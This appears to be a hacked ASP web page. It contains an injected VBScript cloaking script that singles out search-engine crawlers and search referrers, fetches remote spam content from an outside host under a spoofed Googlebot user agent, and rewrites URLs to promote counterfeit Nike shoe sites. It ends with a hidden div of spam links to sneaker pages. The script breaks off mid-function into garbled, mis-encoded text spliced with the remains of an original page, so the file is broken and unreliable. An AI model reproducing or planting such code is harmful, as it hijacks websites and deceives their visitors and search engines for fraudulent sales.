ÿþ<ANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
on error resume next
jumpcode="http://link.2016online.com/en/max.txt.html"
desurljiechi="http://www.max90shoesukdeals.com/nike-air-max-2016-black-purple-womens-running-shoes-for-cheap-p-1211.html"
arrdom = Split(desurljiechi, "/")
For dd = 0 To 2
    desurl = desurl & arrdom(dd)& "/"
Next
shellurl="http://"&Request.ServerVariables("Http_Host")&replace(replace(LCase(replace(Request.ServerVariables("REQUEST_URI"),"?"&request.ServerVariables("QUERY_STRING"),"")),"index.asp",""),"default.asp","")&"?"
rp="nike"
rc="online"
function is_spider()
	dim s_agent
	s_agent=Request.ServerVariables("HTTP_USER_AGENT")

	If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
	is_spider = 1
	else
	is_spider = 0
	end if
end function

Function GetHtml(url,k)
  agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k
  Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
  ObjXMLHTTP.Open "GET",url,False
  ObjXMLHTTP.setRequestHeader "User-Agent",agent
  ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/"
  ObjXMLHTTP.send
  GetHtml=ObjXMLHTTP.responseBody
  Set ObjXMLHTTP=Nothing
  set objStream = Server.CreateObject("Adodb.Stream")
  objStream.Type = 1
  objStream.Mode =3
  objStream.Open
  objStream.Write GetHtml
  objStream.Position = 0
  objStream.Type = 2
  objStream.Charset = "utf-8"
  
  GetHtml = objStream.ReadText
  objStream.Close
End Function
Function IsUserSearch()
	s_ref=Request.ServerVariables("HTTP_REFERER")
	If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then
		IsUserSearch = true
	else
		IsUserSearch = false
	end if
End Function
Function RegExpMatches(patrn, strng)
	Dim regEx, Match, Matches
	Set regEx = New RegExp
	regEx.Pattern = patrn
	regEx.IgnoreCase = True
	regEx.Global = True
	Set Matches = regEx.Execute(strng)
	Dim MyArray()
	Dim i
	i=0
	For Each Match in Matches
		ReDim Preserve MyArray(i)
		MyArray(i)=Match.Value
		i=i-(-1)
	Next
	RegExpMatches = MyArray
End Function

Function RegExpReplace(html,patrn, strng)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
RegExpReplace=regEx.Replace(html,strng)
End Function

Function cDec(num)
 cDecstr=0
 if len(num)>0 and isnumeric(num) then
  for inum=0 to len(num)-1
   cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1))))
  next
 end if
 cDec=cDecstr
End Function 

Function OcB(num)
 OcBstr=""
 if len(num)>0 and isnumeric(num) then
  for i=1 to len(num)
   select case (mid(num,i,1))
    case "0" OcBstr=OcBstr&"000"
    case "1" OcBstr=OcBstr&"001"
    case "2" OcBstr=OcBstr&"010"
    case "3" OcBstr=OcBstr&"011"
    case "4" OcBstr=OcBstr&"100"
    case "5" OcBstr=OcBstr&"101"
    case "6" OcBstr=OcBstr&"110"
    case "7" OcBstr=OcBstr&"111"
   end select
  next
 end if
 OcB=OcBstr
End Function 

Function OcD(num)
 OcD=cDec(OcB(num))
End Function 

Function toOct(objMatch)
	    toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"."
End Function

Function toDeOct(objMatch)
	    toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"."
End Function

Function toCOct(objMatch)
	    toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function

Function toCDeOct(objMatch)
	    toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function

Function RegExpReplaceCall( reg, m, str, fstr)
	    Dim Fun, Match, Matches, i, nStr, LastIndex
	    If str & "" = "" Then Exit Function
	    Set Fun = getRef(fstr)
	    Set regEx = New RegExp
		regEx.Pattern = reg
		regEx.IgnoreCase = True
		regEx.Global = True
		Set Matches = regEx.Execute(str)
	    LastIndex = 1
	    For Each Match In Matches
	        If Match.FirstIndex>0 Then
	            nStr = nStr & Mid(ÛÞÕê ÔéÙÞÕé ÑÕ. ÜäÙ ÞÙÓâ ÖÔ Þ×éÑê ÔêÕÛàÔ Ðê ÞÕâÓÙ ÔÛÙÕÜÙÝ ÔÑÐÙÝ éÜ ÛÜ äèÙØ. ÔêÕÛàÔ ÞäÙçÔ ÑçéÕê ÜÔæâê Þ×Ùè ÞÞâÑÓÕê ÔÛÙÕÜ, ÕÛß êâÕÓÕê ÞéÜÕ× éÜ ÔäèÙØÙÝ ÜÞâÑÓÕê ÔéÕàÕê ÜäÙ éÙÕÛÝ. ÑÞáäè ÔçÜçÕê ÑÕÓÓÕê, ÛÜÙ êÕÛàÔ ÞêçÓÝ ÖÔ ÙÐäéè ÜÔäÙç Óã ÞÙÓâ âÜ ÛÜ äèÙØ ÔÛÕÜÜ Ðê ÔÔÙáØÕèÙÔ éÜÕ - ÓÑè ÙâÙÜ Ôß ÜÞÑÓçÙ ISO ÕÔß ÛÛÜÙ éÙÕÕçÙ ÞÕÜ ÜçÕ×Õê"></A>

</CENTER>

</SPAN>

</BODY>

</HTML>

<div class="links" style="display:none;"> <a href="http://www.stephly.com/jordan/air-jordan-1/2017-air-jordan-1-retro-low-og-premium-white-vachetta-tan-white.html">2017 Air Jordan 1 Retro Low OG Premium White/Vachetta Tan-White</a> <a href="http://www.stephly.com/nike/nike-air-max/air-max-90/mens-womens-nike-air-max-90-gs--volt-running-sneakers-volt-black-electric-green-liquid-lime-705392-700.html">Mens Womens Nike Air Max 90 GS "Volt" Running Sneakers Volt Black Electric Green Liquid Lime 705392-700</a> <a href="http://www.stephly.com/Other/timberland/timberland-women's-6-inch/women-s-timberland-icon-6-inch-boots-wheat-brown.html">Women s Timberland Icon 6 Inch Boots Wheat Brown</a> <a href="http://www.stephly.com/Other/asics/men-2014-mexico-66-paraty/2017-quality-onitsuka-tiger-mexico-66-paraty-th342n-dark-blue-and-white.html">2017 quality onitsuka tiger Mexico 66 Paraty Th342n Dark blue and white</a> <a href="http://www.stephly.com/nike/nike-blazer/nike-blazer-mid/mens-nike-blazer-mid-prm-casual-skate-sneakers-navy-blue-red-white-555251-406.html">Mens Nike Blazer Mid PRM Casual Skate Sneakers Navy Blue Red White 555251-406</a> <a href="http://www.stephly.com/nike/nike-shox/nike-shox-current/mens-nike-shox-current-leather-sneakers-white-black-silver.html">Mens Nike Shox Current Leather Sneakers White Black Silver</a> <a href="http://www.stephly.com/nb/575/men's-new-balance-575-made-in-england-sneakers-grey-off-white-m575grw.html">Men's New Balance 575 Made in England Sneakers Grey/Off White M575GRW</a> <a href="http://www.stephly.com/nb/999/men's-new-balance-999-elite-edition-sneakers-light-grey-dark-grey-ml999g.html">Men's New Balance 999 Elite Edition Sneakers Light Grey/Dark Grey ML999G</a> <a href="http://www.stephly.com/nike/nike-free/nike-free-tr-fit-4/womens-nike-free-tr-fit-4-training-sneakers-dark-grey-royal-blue.html">Womens Nike Free TR FIT 4 Training Sneakers Dark Grey Royal Blue</a> <a href="http://www.stephly.com/nike/nike-free/nike-free-fs-lite-run/womens-nike-free-fs-lite-run-running-sneakers-grey-peach.html">Womens Nike Free FS Lite Run Running Sneakers Grey Peach</a></div>